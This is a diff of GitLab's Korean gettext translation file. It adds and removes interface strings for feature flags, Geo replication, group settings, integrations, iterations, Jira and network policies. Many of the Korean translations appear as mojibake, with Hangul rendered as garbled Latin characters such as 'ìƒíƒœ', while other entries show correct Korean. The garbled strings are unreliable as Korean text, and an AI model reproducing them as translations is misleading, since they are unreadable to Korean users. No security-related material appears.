msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr "API URL"
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr "비활성화"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr "ìƒíƒœ"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr "íŒŒì¼ íƒìƒ‰ê¸°"
msgid "File deleted"
msgstr "íŒŒì¼ ì‚­ì œë¨"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo 노드"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "노드가 실패하거나 깨졌습니다."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "ë°ì´í„° 복제 지연"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "ë§ˆìŠ¤í„°ì˜ ìŠ¤í† ë¦¬ì§€ 구성과 ì¼ì¹˜í•˜ì§€ 않습니다."
-
-msgid "GeoNodes|Full"
-msgstr "ì „ì²´"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab 버전"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "GitLab ë²„ì „ì´ ì£¼ìš” 노드 버전과 ì¼ì¹˜í•˜ì§€ 않습니다."
-
-msgid "GeoNodes|Health status"
-msgstr "ìš´ì˜ ìƒíƒœ"
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "커서로 ì²˜ë¦¬ëœ ë§ˆì§€ë§‰ ì´ë²¤íŠ¸ ID"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "노드 불러오는 중"
-
-msgid "GeoNodes|New node"
-msgstr "새 노드"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "노드 ì¸ì¦ì´ 성공ì ìœ¼ë¡œ ë³µì›ë˜ì—ˆìŠµë‹ˆë‹¤."
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "노드가 성공ì ìœ¼ë¡œ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "노드 ìƒíƒœë¥¼ ë³€ê²½í•˜ëŠ”ë° ë¬¸ì œê°€ 있습니다."
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "노드를 ê°€ì ¸ì˜¤ëŠ”ë° ë¬¸ì œê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "노드를 ì‚­ì œí•˜ëŠ”ë° ë¬¸ì œê°€ 있습니다."
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "노드를 ë³µì›í•˜ëŠ”ë° ë¬¸ì œê°€ 있습니다."
-
-msgid "GeoNodes|Storage config"
-msgstr "스토리지 구성"
-
-msgid "GeoNodes|Sync settings"
-msgstr "ë™ê¸°í™” 설정"
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "%{timeAgo} ì „ ì—…ë°ì´íŠ¸ ë¨"
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "실패"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "ìž¬ì‹œë„ íšŸìˆ˜"
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Geo|ë™ê¸°í™” 실패 - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr "그래프"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "그룹 Git LFS ìƒíƒœ:"
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "그룹 아바타"
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "그룹 개요"
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "ê·¸ë£¹ì´ ì„±ê³µì ìœ¼ë¡œ ì—…ë°ì´íŠ¸ ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "그룹: %{group_name}"
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "%{group} ë‚´ì˜ í”„ë¡œì íŠ¸ë¥¼ 다른 ê·¸ë£¹ì— ê³µìœ í•  수 없게 합니다."
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr "ì´ ì„¤ì •ì€ %{ancestor_group} ì— ì ìš© ë©ë‹ˆë‹¤. ì´ ê·¸ë£¹ì˜ í”„ë
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "ì´ ì„¤ì •ì€ %{ancestor_group} ì— ì ìš©ë©ë‹ˆë‹¤. ì„¤ì •ì„ ìž¬ì •ì˜í•˜ê±°ë‚˜ %{remove_ancestor_share_with_group_lock} í•  수 있습니다."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "ì´ ì„¤ì •ì€ ê·¸ë£¹ 소유ìžì— ì˜í•´ 재정ì˜ë˜ì§€ ì•Šì€ ëª¨ë“  하위 ê·¸ë£¹ì— ì ìš©ë©ë‹ˆë‹¤. ì´ë¯¸ 프로ì íŠ¸ì— 대한 ì ‘ê·¼ ê¶Œí•œì„ ê°€ì§„ ê·¸ë£¹ë“¤ì€ ê¶Œí•œì´ ì§ì ‘ 제거ë˜ì§€ 않는 í•œ 접근할 수 있습니다."
@@ -15991,15 +15655,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "%{ancestor_group_name} ì—ì„œ 그룹 lock 공유 제거"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "그룹들"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr "페ì´ë¡œë“œ 숨기기"
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "값 숨기기"
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr "프로ì íŠ¸ 멤버 가져오기"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Bitbucketì—ì„œ 프로ì íŠ¸ 가져오기"
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "ì¸ìŠ¤í„´ìŠ¤"
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "ìž‘ì—…ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤"
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Jobs"
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "ë” ì•Œì•„ë³´ê¸°"
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "최대 액세스 수준"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "중앙값"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "마ì¼ìŠ¤í†¤ %{milestoneTitle}를 ì°¾ì„ ìˆ˜ 없습니다"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
